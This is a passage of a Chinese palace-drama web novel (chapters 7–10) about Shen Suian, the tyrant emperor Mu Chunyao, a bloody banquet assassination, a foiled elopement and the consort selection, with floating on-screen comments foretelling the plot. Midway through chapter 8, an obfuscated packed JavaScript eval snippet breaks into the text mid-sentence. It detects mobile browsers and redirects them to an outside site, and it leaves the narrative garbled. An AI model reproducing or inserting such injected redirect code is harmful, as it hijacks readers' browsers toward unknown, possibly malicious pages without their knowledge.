宴中筹光交错,众人欣赏着教坊司排练的剑舞,好酒美人陪伴,自是如痴如醉。 可下一瞬,刚刚还令他们欣赏的剑舞就化身为随时能夺他们性命的利剑。 “昏君,拿命来。” 随着一声怒喝,那些明显是训练有素的死士朝着慕春杳而上。 禁卫军也不知在哪,场面一度极其混乱。 禁卫军早已被她们引走,就在她们以为这次能成功时,四面八方不知从哪里来的黑衣人从天而降,好似一早就等在了那里。 “中计了,撤。”为首的人命令道。 可现在哪里是他们想走就能走的,被制服时,慕春杳还是稳稳坐在上首,保持着微笑。 但说出来话,却让殿内众人打了个寒颤。 “拖下去,点天灯。” 天灯就是将人身上的皮活活扒下来,做成灯笼。 那些人不怕死,但听到点天灯还是慌了:“陛下,陛下你不能这样,你难道不想知道幕后主使吗?” “朕最恨威胁。” “至于幕后主使,朕自会去找他算账。” 言下之意是不准备放过他们了,刚刚叫喊的人从惊慌变成了愤怒: “昏君,暴君,总有一天,你一定会不得好死!” 说罢,不知哪来的力气竟能冲破慕春杳暗卫们的压制,想不远处的柱子撞去。 “我宁死不遂暴君意。” 鲜血四溅。 沈岁安就坐在柱子旁,她能感觉到有什么温热的东西从她头上顺流而下。 还没等沈母安慰,沈岁安就晕了过去。 7. 决心 发生了这样的事,宫宴自然办不下去,在场的人也都很有眼色,纷纷找理由打道回府,将这件事烂在肚子里。 最后走时,慕春杳看了一眼被吓晕过去的沈岁安,在看了看一旁鲜血四溅的尸首,不禁开始反思今日自己是不是做的有点过分了。 但这关他什么事?他的本意也只是威慑一下沈岁安,让她安生点,没有想到那人居然会正好在她面前自尽。 慕春杳心中一阵没来由的烦躁,沈岁安实在是牵扯自己太多心神了。 …… 半夜,沈岁安从噩梦中醒来,没办法,今日那一幕对她的冲击实在是太大,恐怕这之后的很长时间她都忘不掉。 春花在外间的榻上守着,沈岁安现在不想打扰到任何人,她静悄悄的坐起身,思索着自己以后的去路。 经过宫宴一事,慕春杳的暴君形象已然在沈岁安脑中根深蒂固,令她望而生畏,近而生怯。 同时沈岁安又有一些庆幸,自己当初没有一口答应关于叶灵秋的“逃婚”计划,要不然一旦被慕春杳知道,她现在恐怕跟宫宴上的那个人一样,还有沈家说不定也会受她牵连。 这样想着,沈岁安心绪渐缓。 第二日一早,宫中选秀的圣旨便传了下来,沈岁安的名字清清楚楚的写在了上面。 “奉天承运,皇帝诏曰: 朕嗣承大统,御诸万民,宫闱之事,关乎国本。当选贤良淑德者充盈后宫,绵延宗室。今沈氏有女,家承钟鼎,淑慎有仪,克娴有礼,端庄有爱,特召为秀女,入贞门参选,钦此——” 沈岁安平静的接受了这一结果,甚至在礼官传唱完还能笑脸相迎,反而是此前一直希望沈岁安点头的沈父沈母以及沈老太爷一脸忧愁,对沈岁安的前程深感担忧。 礼部的人走后,众人齐齐围了上来,沈父刚想开口说话,就被沈文进打断,他看了看周围,道:“这里不是说话的地方,去书房。” 书房中,沈母握住沈岁安的手,在没见过贤妃之前,沈母只对后宫和历代后宫争斗有个模糊的印象,毕竟她也只能从有限的书中了解到。 可昨天贤妃两句话中全是算计,偏偏沈岁安还全然未觉,这让她怎能放心将捧在手心里养大的心头肉送入宫中,那是个吃人不吐骨头的地方。 “岁岁,你要是不愿意,可以跟爹爹和娘亲说,我们都会帮你的。爹爹错了,那皇宫不好,咱们不去了。” 沈平川也在沈岁安面前蹲下,慢慢安抚着。 沈岁安闻言看了沈文进一眼,毕竟,这家里做主的还是祖父,只见沈文进不语,轻点了一下头,算是默认了沈平川的说法。 沈岁安看着她的家人们,感觉漏掉了什么:“哥哥呢?” 沈母疑惑的扫视了一圈,也没有见到人:“奇怪,你哥哥刚刚人还在”,沈母皱眉,觉得这样讨论家庭问题的场合他不能不在,起身便要让人去找。 沈岁安立马拦住了母亲的去路,故作轻松的开了个玩笑:“哥哥他不来便不来吧,没准是舍不得我,偷偷躲在房间里哭鼻子呢。” 这让沈母有些哭笑不得,用手指轻轻点了点沈岁安的头:“你啊!” 经过沈岁安这样一打岔,屋子里的气氛好了很多。 “岁岁,你到底是如何想的?” 沈母叹了口气,又问了一遍沈岁安的意见,她感觉女儿的反应不对。 看沈岁安前几日的反应便能知,她应该是很排斥进宫选秀的,但刚刚他们说完话后,沈岁安脸上并没有多少喜色,反而眼底还多了忧愁。 “爹,娘,祖父”,沈岁安像房中之人一一看去,坚定的说出了自己的想法:“我愿意进宫选秀,也愿意入宫为妃。” 沈府众人很是惊讶于沈岁安的想法,对于女儿/孙女的变化感觉有些不可思议。 知女莫若母,结合最近发生的事情,她立马找到了症结所在。 “岁岁你是不是被那天宫宴的事情吓到了?”,沈母拉过沈岁安的手,语重心长道: “如果是这样,就是我和你爹爹的不是了,让你在我们眼皮子底下受了惊。” 沈平川也听出了问题:“是啊岁岁,如果你是因为害怕那位而改变主意的话,大可不必如此,我们沈家不至于连一个女儿都护不住。” 沈岁安感动于家人们对她的维护,但也正因如此,她才不能拉着沈家深陷泥潭。 沈岁安见此故作无奈的耸了耸肩道:“女儿是真的愿意,没有其他因素。我想明白了,反正到年纪总是要成亲的,我不想低嫁,京中比咱们家门第还要高的也没几个,与其这样,还不如嫁给那个最尊贵的。” 沈母听完,看着沈岁安陷入沉思,就在沈岁安以为自己强颜欢笑被看出来的时候,沈母道: “真心话?” 沈岁安生怕沈母不信,使劲点头:“比真金还真!” “算了,你再回去好好想想,后天入宫选秀前,后悔了可以随时改变主意。” 沈岁安的鼻子突然有一些酸,正是因为她的家人对她很好,所以她才不能那样不管不顾。 夜半,沈岁安正要安眠时,突然听到了石子敲窗户的声音。 这是她从小跟沈云泽约好的暗号,每次要干什么坏事时都会这样避开耳目,叫她出去。 沈岁安走到窗前,窗外站着的正是一天都不见人影的沈云泽。 “哥哥,这么晚了你来干什么?” “哥哥带你去一个地方。” 沈岁安并没有多想,只当是沈云泽不舍她要进宫想跟她单独待一会儿。 “好。” 二人趁府中侍卫换岗时偷偷从后门溜走,沈云泽将沈岁安抱上马,一路狂奔向城外。 “不对,你要带我去哪?” 沈云泽道:“岁岁放心,我都安排好了,叶灵秋在城外接你,从此天高皇帝远,不会再有人逼你做自己不想做的事。” 沈岁安气笑了,她还真没看出来平时唯唯诺诺,老老实实的哥哥,一出手就是这般大胆。 “你知道秀女逃婚的下场吗?” “……诛三族。” “那你还敢这样?也不怕成为沈家的罪人。” “我不怕”,沈云泽轻笑:“你以为没有祖父他们的授意,今晚我真的能将你带出来吗?” “可我怕。” “沈云泽,我怕。” 这是沈岁安第一次喊沈云泽大名,沈云泽楞了一下,用最温柔的语气哄着沈岁安: “岁岁不怕,不会有事的,我都安排好了,明日起你身染重疾,宫中最近忙碌肯定顾不上你,待选秀一结束,沈家就发丧。过个一两年再把你以别的身份接回来。” 这已经是他能做到的全部,是胆大了点,但也不是全然不可能。 就在沈岁安也犹豫时,背对着沈云泽,她又看见了天上的文字。 【我记得原著里没有这段啊?】 【谁知道呢,不过,女配肯定不知道,皇帝早就盯上她了,现在他的人就跟在他俩后面,只要女配敢走,不但她会没命,沈家也会跟着陪葬】 【其实这也跟原著剧情差不多,就是时间提前了点】 …… 由于马跑的太快,沈岁安只看到了前两行字,足以将她吓的心惊胆战 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“当然不是”,沈云泽摸着妹妹的头:“只要是你认真做的决定,哥哥都支持你,后悔也没事,哥哥给你兜着,反正这么多年也习惯了。” 他眨眨眼睛:“哥哥兜不住,还有祖父。” 二人相视而笑。 …… 皇宫中—— 虽已是夜半,但书房内依旧灯火通明。 苏成看着依旧伏案批阅奏折的慕春杳,心中叹息。 外界都说当今陛下是个昏君,残暴不仁,半点没有先帝的宽厚。 可他们懂什么? 陛下还是太子时,先帝打压太子,扶持庆王,将陛下打压到不得不称病退居东宫不出的地步。 即便现在是他上位,朝堂上半数人马还是庆王殿下的,如果这时候手段还不狠厉一点的话,根本压不住他们。 “陛下,夜深了,还望陛下注意龙体。” 慕春杳此时正在看刚刚从宫外传进来的消息。 沈云泽疑似带沈岁安逃婚,但暗卫正准备动手时,二人发生了激烈的争吵,随后沈岁安又回到了丞相府。 是巧合?还是沈家发现了什么? “后天选秀时,盯着沈家的那个。” 苏成楞了楞,这还是他第一次在陛下嘴里听见关心女人的话。 “是是是,奴一定盯紧了,保证不会出差错。” 看苏成笑的一脸谄媚,慕春杳就知道他是误会了。 也罢,反正结果对了就行。 …… 八月初二,皇家大选。 与前朝不同,前朝秀女众多,是以分为初选、复选和殿选。本朝秀女皆为礼部一开始就做好调查,皇家一开始便看好的,大约有三十人,是以减少了流程,直接进入殿选阶段。 秀女们都穿着一样的衣服,是为了防止恶意攀比陷害,惑君魅上。 沈岁安站在队伍的最前面,低着头在礼仪嬷嬷身后亦步亦趋的跟着。 之前见过的李彰蓉站在沈岁安右边,不过沈岁安并没有打招呼的意思,来前沈家人特意叮嘱过,进宫后要跟和太后有关的人或物保持距离。 大周以左为尊,李彰蓉看着这个站位,眼神微暗。 还真是碍眼呢。 李彰蓉偏不如她的愿,压低声音道:“沈姑娘,真巧,我们又见面了。” 不等沈岁安回答,前面的嬷嬷低呵:“噤声。” 想到李、沈二人似乎认识,辛嬷嬷有些惊讶,随即不动声色的皱了皱眉。 8. 反击 原本李彰蓉对沈岁安不理自己的行为很是生气,但想到太后的话,又硬生生的忍了回去,毕竟以往再得意,今日她都会身败名裂,甚至还要连累沈家一起遭殃。 辛嬷嬷将她们带到储秀宫待选后就离开了,因为不知道有没有人在外观察着自己的一举一动,所以秀女们都很规矩。 沈岁安环视了一圈,发现大家都三三两两聚在一起聊天,只有李彰蓉是自己一个人待着,看来大家都受到过家里的提醒。 “沈姐姐好。” 正想着,一位秀女过来和沈岁安打招呼。 沈岁安疑惑的看着眼前的女子,虽说从小到大,京城里的宴会她十有八九都懒得去,但大部分高门贵女的脸她还是认得的,眼前这位来跟她打招呼的女子她却从来没见过。 “你是?” 明采薇脸上的笑意快挂不住,她来京城快一年了,也跟沈岁安出席过同一个宴席,结果人家竟然连自己名字都没记住。 想到那人的吩咐,明采薇深吸了一口气,顿时眼眶有些泛红: “我叫明采薇,父亲去年刚刚被调到京城,沈姐姐不认识也正常。” 正常为什么要哭?沈岁安便是反应再慢此时也能感觉到自己是中计了。 果不其然,此话一出,沈岁安就隐隐感到四面八方投来打量的视线,有不屑的,有幸灾乐祸的,还有因感同身受而流露出愤怒眼神的。 人总是很奇怪,在利益对冲时可以你算计我我算计你,但在有共同敌人时,又可以变得一致对外起来。 沈岁安是这里面家世最高的,同时又是陛下钦点进宫的,所以现在沈岁安出丑她们再高兴不过,谁不想解决掉一个麻烦呢? 令沈岁安意外的是,李彰蓉站在了她身后,不知她想干什么,沈岁安只是扫了一眼,没有说话。 “区区五品小官家的女儿,也想让我们记住?也不看看自己有没有脸。” “你——” 这话说的太过刻薄,以至于明采薇刚刚还是因做戏而红的眼眶此刻是真的红了,脸上也臊得像是要滴血,胸口剧烈起伏着,如果有地缝,她肯定恨不得立马钻进去。 本来因着明采薇刚刚还在给她下套,现在有人替她出头,她应该乐见其成的,但李彰蓉方才的话中用了“我们”,如果她不能解释清楚的话,恐怕之后的很长一段时间里,无论她愿不愿意,都会和李彰蓉绑在一起。 正想着如何才能破局时,天空中久违的出现了那些文字。 不知是不是沈岁安的错觉,她发现这些文字平时不会出现,只会在她有困难的时候出来,倒像是有人故意在帮助她一般。 【小炮灰怎么还在发愣了,六点钟方向,端着茶杯向着你走来的那个,待会儿会把茶泼在你身上】 【前面的,说那么细干嘛?小炮灰又看不见】 【我只是想显露一下我对原著的了解程度,随便一个炮灰的剧情都能记住】 …… 沈岁安不明其义,不过还是大胆的设想了一下,很快便理清了其中关窍。 那人将自己的衣服弄脏,宫中没有准备其他和秀女一模一样的换洗衣物,她要么不换,要么就换上跟其他秀女不一样的宫装,只是这样一来,就必须在殿前失仪和违背祖宗规矩中选一个。 无论哪个,都足够她被前朝的言官骂死。 是个很蠢的办法,但一旦成功,也确实能够毁了她。 几乎是瞬间,她就锁定了目标。 其实沈岁安并不理解刚刚那些文字所说的“六点钟方向”是什么,但在其他人都远离她时,只有那人自己端着茶杯向她走来,实在是太明显了点。 待人走近,沈岁安才想起来那是谁,好像姓张,是当朝起居舍人(从六品)家的庶女,沈岁安知道她还是因为京中最近的传言。 原本张氏是没有资格成为秀女的,但奈何张大人官位虽低,却是“天子近臣”,应是靠着关系将女儿送进来。 沈岁安初听时还有些同情她,如今她更心疼她自己。 “起居舍人之女张氏,久闻沈姐姐大名,百闻不如一见,今日以茶代酒敬沈姐姐一杯。” 张氏抬手的同时,沈岁安默默往后退了一步,可她忘了还有一个李彰蓉在后面站着,她突然出手,向前猛得推了沈岁安一把。 还好沈岁安早有准备,只见她身体往斜前方一倒,让身后的李彰蓉正对着张氏,张氏将手中的茶水尽数倒在了李彰蓉身上。 局势在瞬息之间颠倒。 众人目瞪口呆的看着眼前这一幕,暗自佩服沈岁安的勇气。京中之人做事向来圆滑,家里虽说要与李彰蓉保持距离,但也耳提面命道不许故意和她作对,只因如今庆王尚未动手,这天下最后落在谁手里犹未可知。 刚刚还觉得沈岁安和李彰蓉是同一战线的众人,这会儿倒是为沈岁安感到惋惜,这一次算是彻底将李彰蓉得罪死了。 还未进宫,就为自己树了一个劲敌,这宫中,以后怕是有热闹看了。 被泼了一身水的李彰蓉此刻也是懵的,她本是嫉恨沈岁安上次抢了她看上的衣服,于是进宫央了姑母让沈岁安在这上面栽个大跟头,好让她知道不是什么人的东西都是可以抢的。 知道自己可能是被反算计后,李彰蓉又不好众目睽睽之下跟沈岁安算账,毕竟这件事情表面上是个意外,跟沈岁安没多大关系,甚至从某一方面看,沈岁安也是受害者。 寻不到撒气地方的李彰蓉只能迁怒到没有将事情办好的张氏身上。 “你个小贱蹄子,竟然还敢以下犯上,手拿不稳东西就砍了,给我跪下,掌嘴。” “我没有,我不……” 张氏慌张,但却不知从何解释,只因这本就是个套。 “还敢顶嘴?” 李彰蓉瞪着张氏,好像要把人吃掉的样子。 这边的动静太大,将外面的辛嬷嬷引了回来:“这是怎么了?” “嬷嬷,你看,她将我衣服弄脏了,让我待会儿怎么面圣?” “我……” 张氏张了张嘴,最终却什么都没有说出来。 辛嬷嬷看着争吵的二人,以及在一旁快充当隐形人的沈岁安,虽很不想管这档子扯不清的烂账,还是道:“此时却是张氏有错在先,李姑娘想如何办?” 现在再生气都于事无补,李彰蓉看着二人差不多的身量道:“让她把衣服脱了给我。” 这次连辛嬷嬷都听不下去:“李姑娘,这是否太过?” “本来就是她有错在先。” “二位不要争执,我愿意换衣服。” 张氏紧咬着下嘴唇,一字一句道。她是很不甘心。可她更知道,如今一家人的性命可都握在太后手中,由不得她。 李彰蓉她不能得罪,也得罪不起。 辛嬷嬷低头瞧着张氏,叹了口气:“起居舍人之女张氏,殿前失仪,残害秀女,即刻起逐出宫门。” 话落,张氏瘫坐在地上。 …… 这边的情况传到了太后耳朵里,太后恨铁不成钢的暗骂了一句:“蠢货,成事不足败事有余。” 幸而她早留了后手。 “王嬷嬷,宫中绕个远迷个路应该很正常吧。” “自然是正常的。” 跟着太后身边多年的王嬷嬷自然明白太后的意思。 殿选觐见时让人带着那沈家女绕个远,迟到了自是最好,太后可以立马给她扣上个“蔑视天威”的大不敬之罪,往大了说甚至有可能牵连整个沈家,端看皇帝愿不愿意。 即便那沈氏女反应快,按时到了,但正午日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178193|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头下在皇宫转了一大圈,肯定也不如其他秀女们仪态端庄,风华万千的,太后正好也可在位份上压一压沈氏女。 “让储秀宫的人动手吧。” 王嬷嬷知道劝不住太后,便也不再多说:“是。” …… 对于刚刚发生的一幕众人都还心有余悸,这让她们更加明白了皇宫是个什么地方,于是都收起了一开始的漫不经心,纷纷打起十二分的精神应对接下来的事。 “诸位娘子们,殿选马上开始,面圣时还请娘子们谨记礼部礼官教导过的规矩,老奴便不再多说。” “五人一组依次觐见,诸位可自行结伴。” 自行结伴,说的好听,实际上最能考验秀女们的为人处事。 有这样几种人,是秀女们都不愿与之为伍的:家世好的,长都美的以及心机重的。 秀女虽多,最后留下的却没几个,谁不想让自己一眼就能被看到呢。 不巧,这三种人,沈岁安占了两种。 以至于最后,只剩下了沈岁安,李彰蓉,明采薇以及两个从京城外来的女孩,五人自然结成了一组。 众人看到这边的情况,一时间有些一言难尽,这还真是冤家路榨。 这次来传唤的嬷嬷不再是辛嬷嬷,而是换了一个年轻的女使。 那女使先是行了个万福礼,随后看见了这边的结组,不由得有些头疼,她想,太后的算盘恐怕要落空了。 沈氏女和太后的侄女在一个组,这让她怎么按照太后的吩咐带着她们绕远路。 想了想,女使还是恭敬的上前,询问沈岁安用不用换组。 谁知这一举动很快就收到了周遭人羡慕嫉妒的眼神,果然家世好就是能为所欲为,分到的人不满意也能换组。 【小炮灰会换组吗?】 【原著里好像换了,也是因为这样,女使故意带着她们绕远路,迟了一刻钟,最后那一组只有小炮灰自己进了,位份却是最低的才人】 【嘶,前面的,原著里有这段?】 【当然有,罚你回去再看一遍书!】 …… 绕远路? 沈岁安正在想这人向自己“示好”的目的是什么,就看到了天上的提示。 看来是有人授意这个女使给自己带错路,但是因为一些原因,她不想把李彰蓉牵扯进来,才会问自己换不换组。 想清楚这些后,沈岁安打定主意就跟在李彰蓉身后,婉拒道: “多谢姐姐的好意,但规矩就是规矩,我又怎能因一己之私而坏了其她姐妹的好事?” 这话成功博得了其他人的好感,挽回了一下沈岁安的形象。 女使无法,也只得放弃。 本朝大选由皇帝,皇后以及太后住持,但因现如今中宫空缺,只有一个贤妃,所以自然由她代劳。 沈岁安被安排在第三组觐见。 太后早就听说了沈岁安这边的闹出的动静,知道了自己的计策再次落空,对这个三番五次破坏自己计划的小姑娘没有半点好印象。 沈岁安的确没有得罪过她,要怪就只能怪她挡了自家侄女的路。 前面两组没有一个留下来的,都只是象征性的走了下过场,大家都知道,到了她们这组才是重头戏。 “吏部尚书之女沈岁安,年十六;御史中丞之女李彰蓉,年十九;谏议大夫之女明采薇,年二十……” 伴随着礼官的传唱,几人依次进入。 “参见皇上/太后/贤妃娘娘。” “吾皇万岁万岁万万岁。” 众人恭恭敬敬的行礼,慕春杳淡淡的扫过沈岁安,刚刚他已经知道了沈岁安她们在储秀宫发生的事情,本来也没太过放在心上,但不知为何,真正看见人没事时他才放心。 “免礼。” 9. 第 9 章 大选的流程通常是由皇帝或者太后问几个问题,满意的话,撂牌子赐香囊即为入选,回家等着进宫圣旨便是。 太后见慕春杳并没有说话的意思,便率先问起了李彰蓉,打趣道: “真是好长时间不见,蓉儿怎么也不多进宫看看姑母,害的姑母孤家寡人一个,在这宫中也没个人说说话。” 李彰蓉羞嗤一笑:“姑母莫要打趣蓉儿,蓉儿日后定日日陪在姑母身前尽孝。” 太后对李彰蓉很是满意,看向一旁不知在想什么的慕春杳:“皇帝啊,哀家也老了,想留蓉儿在宫中做个伴,你看?” 这是要留牌子的意思了。 慕春杳若有所思。 原本他的意思是让沈岁安入宫牵制住贤妃,凌氏虽是自己母族,但想要的实在太多了,他既已将前朝许多事务交给凌家,就不会容忍凌氏再出一个皇后。 沈岁安虽然家世上可以牵制住贤妃,但自从上次沈相说了沈岁安的真实情况后,他就派人去查沈岁安,从她出生到现在的任何事情,全部事无巨细的呈现在自己面前,他才知道,沈相说的是真的。 怎么会有人心安理得的懒到那种地步! 他估计是指望不上沈岁安能有本事牵制住贤妃。 即便有那个脑子恐怕也懒得动。 目光转向李彰蓉,他原本就没想着留人,他厌恶太后,厌屋及乌,自然也不喜所有跟太后有关的人,本想着将人赐婚给庆王,两家亲上加亲,也省的庆王在婚事上动点手脚给自己添堵。 现在看来,李氏对后位的野心也不小,且背后有个太后姑母帮着打擂台,倒也是个合适的人选,往后这宫中怕是热闹的很。 “皇帝?” 太后见慕春杳一直在发呆,忍不住出言提醒。 “既是太后想留,那便留下吧。” 礼官听闻,立刻传唱道:“御史中丞之女李彰蓉,留牌子赐香囊。” 太后和李彰蓉也没有想到会这样顺利,原本以为要费一番口舌的太后看着自家侄女,光想着利益置换,倒是忘了自己这侄女多少也是个美人坯子,皇帝又年少…… 李彰蓉显然也是误会了慕春杳的意思,知道自家姑母和皇帝关系的她还以为今天不会太顺利,难道说皇帝看上她的人了? 压下内心的心潮澎湃,李彰蓉连忙谢恩。 久坐在一旁还未曾说话的贤妃罕见的开口:“陛下,臣妾刚刚看到太后有李妹妹进宫陪伴,不禁想到了自己,后宫只有臣妾一人,连个交心的人都没有,是以臣妾也想求一个恩典。” 慕春杳颔首,贤妃便接着往下说:“臣妾从前在苏州时,曾和明妹妹认识,也算的上是闺中密友,后来臣妾举家搬来京城就再也没有见过了,多年不见想的紧,不知陛下是否可以让明妹妹入宫陪伴臣妾?” 慕春杳连眼神都没给明采薇一个,随意道:“贤妃既看着投缘,那便留下。” 看见慕春杳这无可无不可的态度,明采薇咬了咬下唇,听到贤妃的解释心中苦笑。凭自己的家世,从前在苏州时恐怕连给贤妃提衣角都不配。 贤妃的父亲是自己父亲的顶头上司,父亲送她进宫就是来帮助贤妃的,为此不惜将她留在家中到二十岁,就为了这次选秀。 这些她都知道,可她还是期盼着陛下的目光能落在自己身上,哪怕只有一点,也有了让她以后可以在贤妃面前说话时挺直腰板的勇气。 礼官接着传唱:“谏议大夫之女明采薇,留牌子赐香囊。” “臣女谢过皇上,贤妃娘娘恩典。” 合着都是关系户,沈岁安在一旁暗自腹诽。 但话又说回来,按道理来说,一组至多只会留两个人,现在已经留了两个,那是不是说,她也有机会可以不进宫。 想到此的沈岁安内心雀跃,期盼着这位皇帝可以守一下规矩。 “这组已经选了两个,皇帝,不若这组就到此为止?” 沈岁安在台阶下内心很是认同太后的话,说的真的是太好了。 “太后急什么,哪条宫规明文规定了一组不能选三个?” “可……”太后还想再说些什么,慕春杳不再给太后开口的机会: “老祖宗的规矩是事不过三,朕看沈相的孙女就挺好,总不能让人家白来。” 沈岁安:我其实挺想白来一趟的。 太后闭眼,知道皇帝心意已决便不再劝,贤妃也借喝茶掩饰自己内心的失落。 她之所以抢在太后后面说话,就是想借这一不成文的规矩将人挤下去,成功了她自然开心,现在失败了是有一点失落,不过进宫后的事谁知道呢。 在众人各怀心思的情况下,沈岁安也被撂牌子赐了香囊。 就在小太监将香囊递过来时,沈岁安看到天上再次生出了动静。 【小炮灰这悲惨的一生就是从此刻开始的】 【话说,她不进宫就能摆脱被抄家的命运了?】 【说实话,这么多天下来,我还挺喜欢她的】 …… 沈岁安皱眉,目光紧紧盯在“抄家”二字上,连递到手边的香囊都不曾看见。 这落在其他人眼中就是抗旨的意思了。 慕春杳想到前日沈岁安差点逃婚之事,以为她又回来是想通了,那如今这幅作态又是给谁看? 给沈岁安递香囊的小太监此刻恨不得将头埋在最底下,生怕待会儿上面的贵人也迁怒到自己,可还是忍不住轻咳提醒。 沈岁安回过神,可思绪还在刚刚的“抄家”二字上停留,目前为止天上说的话都是真的,从无改变,那她要怎么办? 她立马接过香囊,正准备谢恩时,慕春杳开口,声音低沉,不辨喜怒:“沈氏,你刚刚犹豫,可是对朕心存不满?” “若是不满,大可直言,朕从不喜强迫。” 沈岁安知道,这个问题必须回答好,不然都不用等以后,今天沈家就能以不敬的罪名抄家。 她连忙跪下:“臣女是想到过往陛下的英勇事迹,得知自己即将可以入宫侍奉陛下而喜,一时忘了自己身处何地。” 听完沈岁安解释的慕春杳挑眉:“哦?那你说说,都听说过朕什么?” 沈岁安的脑子从来没有转过这么快,将祖父和父亲跟自己说过的有关慕春杳的事都在脑子里过了一遍。 “陛下四岁作诗,六岁能文,七岁能武,十四岁亲征击退外敌,十五岁归朝开始接触朝政……” 沈岁安突然发现,其实一一细数下来,慕春杳也很是优秀,只不过现在人们记住的恐怕不是之前那个风光霁月的太子,而是上位后胡乱杀人的暴君。 慕春杳听着沈岁安对自己过往事情的概括,心中也泛起了感慨,罢了,就原谅她这一回。 沈岁安说完,安静的低着头,就好像在等待着命运对自己的宣判。 “沈平川,果然教女有方。” “退下吧。” 沈岁安松了口气,当她再想看看天上字有没有给她什么其他信息时,很遗憾的发现那些字早没了。 众人回家,等待着最后的结果。 …… 选秀结束后,太后将慕春杳请到宫中,商量着李彰蓉的位份。 本就是用来牵制贤妃的人,慕春杳也不在乎直接给个高位,让她尝尝烈火烹油的感觉。 太后摆出一副慈母的模样,想和慕春杳聊聊,慕春杳却明显不吃那一套: “不用在朕面前装,太后还是把这幅模样对着庆王和李氏比较有用。” 太后气的差点一口气没上来,但想到今日的目的 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他看着太后手上的东西,似笑非笑:“那朕封李氏为德妃怎么样?” 太后一噎,女子有四德:德言容功。 这折子上明显就是李彰蓉失德的证据,皇帝这是在讽刺她德不配位。 太后深吸一口气,终是道:“好。” …… 本次大选,中选人数并不多,包括沈岁安在内一共七人。 除了沈岁安知道的那两人,还有明威将军庶女柳嫣然,吏部侍郎之女宋佳慧,以及一个皇商之女安宁,据说是家里在今年水患救灾时帮了大忙,于是便破格入选。 但这位分却又很耐人寻味,让人看不懂。 其中位份最高的是李彰蓉被封了个德妃,其次是明采薇,被封为修媛,而沈岁安只被封为美人(正四品)。 其实美人在初入宫的人中位份不算低,但今年有这两个人在前面,就有些不够看了,不过这倒是让盯着沈家的人少了大半。 温氏看着女儿,不知不觉间,她的岁岁也要长大嫁人了,一时之间有些感慨。 沈岁安像小时候一样窝在温氏膝头,想到上次看见的东西,突然见有些害怕:“娘,你跟我讲一下进宫后要注意些什么吧,我怕我做不好,反而连累了你们。” “说什么傻话,咱们是一家人,哪有什么连累不连累的。” 温氏没好气的点了点沈岁安的额头,不过最终还是道: “入宫后,在宫规范围内你尽可随性,倒是要小心一下贤妃。” “为什么?” 沈岁安其实一直对贤妃感到好奇,做为新帝登基后第一个进后宫的女人,本该受众人仰慕,但是外界却愣是没有一点有关她受宠的传闻。 “贤妃曾是太子妃的预备人选,但因后来太子也就是现在到陛下病重,不得不退居东宫不出,凌家当时没想好要不要趟这趟浑水,就没把女儿嫁进去。” “可他们又不甘心,对后位还是抱着幻想,于是贤妃的婚事一拖再拖,一直拖到了二十二岁。直到凌家将陛下扶上皇位,她才入宫。” 沈岁安听了不免有些唏嘘,也是,谁会想立一个曾放弃过自己的人为后呢? 温氏看着女儿,顿了顿,还是道:“另外,据咱们家在宫中的人来报,陛下自登基以来,还未入过后宫,一直是独寝。” 甚至,温氏怀疑,那李彰蓉分明就是专门为了牵制住贤妃而立的靶子。 沈岁安:! 这倒是她没有想到的。 温氏摸着沈岁安的头:“所以,母亲只是想告诉你,在宫中,你也不必怕谁,我们永远是岁岁的后盾。” 10. 指导 正式进宫前夕,宫中派了礼仪嬷嬷到各府上进行为期七日的教导。 看到来人,沈岁安有些意外,是上次带她们入宫的辛嬷嬷,后来听说她是先皇后留给陛下的人,颇得陛下倚重。 难怪当初她感觉辛嬷嬷看到李彰蓉和自己打招呼有些不开心,原来不是她的错觉,辛嬷嬷是真的以为她和李彰蓉是一伙人。 要说宫中谁最恨太后,除了陛下,肯定就是这位辛嬷嬷,她是先皇后的贴身大丫鬟,从小一起长大,感情甚笃,旧主被人所害,仇人近在咫尺却无法报仇,这让她怎能不恨。 所以,沈夫人将这些告诉沈岁安,要跟这位辛嬷嬷打好关系,若是以后跟太后对上,或会有所助力。 辛嬷嬷一开始对沈岁安的确有所误解,但那天宫中的事情瞒不过陛下,她后来也了解清楚情况,对这个凭一己之力让太后吃瘪的小姑娘颇有好感。 但仅凭这些,还不足以让她亲自来教导沈岁安,她能来沈府,还是陛下所托。 辛嬷嬷从未见过陛下关心哪个女子,便是已经入宫半年的贤妃娘娘,陛下也从不过问,以至于她对沈岁安有好感之余又多出几分好奇。 几天接触下来,辛嬷嬷很快便发现,沈岁安虽不如京中其他贵女般端庄贤淑,却也灵动可爱,最重要的是有一颗通透的心,即便再过几日就要离开熟悉的环境去往另一个地方,她还是该怎样怎样,丝毫不感到慌张。 美丽的皮囊千篇一律,可似她这般有趣的灵魂却并不多见,也难怪能让陛下多上几分心思。 辛嬷嬷想,或许只有这样的性子才适合陛下,为陛下的生活增添几分色彩。 入宫前一夜,辛嬷嬷来到沈岁安房中。 “嬷嬷,这么晚来有什么事吗?” 沈岁安很是意外,看了看天色,按道理说,辛嬷嬷平日这个时间早就歇下了。 辛嬷嬷道:“老奴今晚来跟沈美人说一下侍寝时的注意事项。” 沈岁安到底是个未经人事的小姑娘,听了这话,两侧脸颊很快染上了一层薄红。 她挥手屏退左右,房中只剩下她和辛嬷嬷二人。 “嬷嬷请讲。” 辛嬷嬷看出了沈岁安的不自在,安抚道:“美人不必紧张,这只是进宫前的正常流程。” 沈岁安放松下来:“那嬷嬷,我要怎么做。” 辛嬷嬷轻笑:“还请小主躺在床上。” 沈岁安照做。 接下来,辛嬷嬷从如何替君王宽衣开始教导,甚至过程她都可以面不改色的听完,毕竟又不是实践,只是些理论知识。 直到辛嬷嬷让她换个姿势主动跨坐在对方腰间时,沈岁安才感到难为情。 “嬷嬷,这种事情,一般不都是男人主动吗?” 辛嬷嬷无奈,想沈岁安这都是从哪里听来的。 沈岁安看出了辛嬷嬷的想法,小声嘟囔着:“话本里都是这样写的。” 辛嬷嬷:…… 